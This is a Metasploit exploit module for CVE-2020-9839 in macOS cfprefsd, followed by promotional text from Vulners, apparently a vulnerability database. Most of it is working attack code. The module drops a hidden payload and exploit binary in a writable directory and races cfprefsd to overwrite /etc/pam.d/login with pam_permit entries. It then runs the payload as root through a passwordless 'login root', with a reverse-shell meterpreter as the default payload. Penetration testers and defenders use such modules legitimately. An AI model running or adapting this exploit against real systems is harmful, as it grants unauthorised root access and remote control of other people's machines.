`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
'Description' => %q{
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9839'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', {} ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
@@target_file = "/etc/pam.d/login"
@@original_content = %q(# login: auth account password session
auth optional pam_krb5.so use_kcminit
auth optional pam_ntlm.so try_first_pass
auth optional pam_mount.so try_first_pass
auth required pam_opendirectory.so try_first_pass
account required pam_nologin.so
account required pam_opendirectory.so
password required pam_opendirectory.so
session required pam_launchd.so
session required pam_uwtmp.so
session optional pam_mount.so
)
@@replacement_content = %q(# login: auth account password session
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
)
def check
version = Gem::Version.new(get_system_version)
if version > Gem::Version.new('10.15.4')
CheckCode::Safe
elsif version < Gem::Version.new('10.15')
CheckCode::Safe
else
CheckCode::Appears
end
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_and_chmodx payload_file, binary_payload
register_file_for_cleanup payload_file
current_content = read_file(@@target_file)
@restore_content = current_content
if current_content == @@replacement_content
print_warning("The contents of #{@@target_file} was already replaced")
elsif current_content != @@original_content
print_warning("The contents of #{@@target_file} did not match the expected contents")
@restore_content = nil
end
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
upload_and_chmodx exploit_file, exploit_exe
register_file_for_cleanup exploit_file
exploit_cmd = "#{exploit_file} #{@@target_file}"
print_status("Executing exploit '#{exploit_cmd}'")
result = cmd_exec(exploit_cmd)
print_status("Exploit result:\n#{result}")
unless write_file(@@target_file, @@replacement_content)
print_error("#{@@target_file} could not be written")
end
login_cmd = "echo '#{payload_file} & disown' | login root"
print_status("Running cmd:\n#{login_cmd}")
result = cmd_exec(login_cmd)
unless result.blank?
print_status("Command output:\n#{result}")
end
end
def new_session_cmd(session, cmd)
if session.type.eql? 'meterpreter'
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
else
session.shell_command_token cmd
end
end
def on_new_session(session)
return super unless @restore_content
if write_file(@@target_file, @restore_content)
new_session_cmd(session, "chgrp wheel #{@@target_file}")
new_session_cmd(session, "chown root #{@@target_file}")
new_session_cmd(session, "chmod 644 #{@@target_file}")
print_good("#{@@target_file} was restored")
else
print_error("#{@@target_file} could not be restored!")
end
super
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation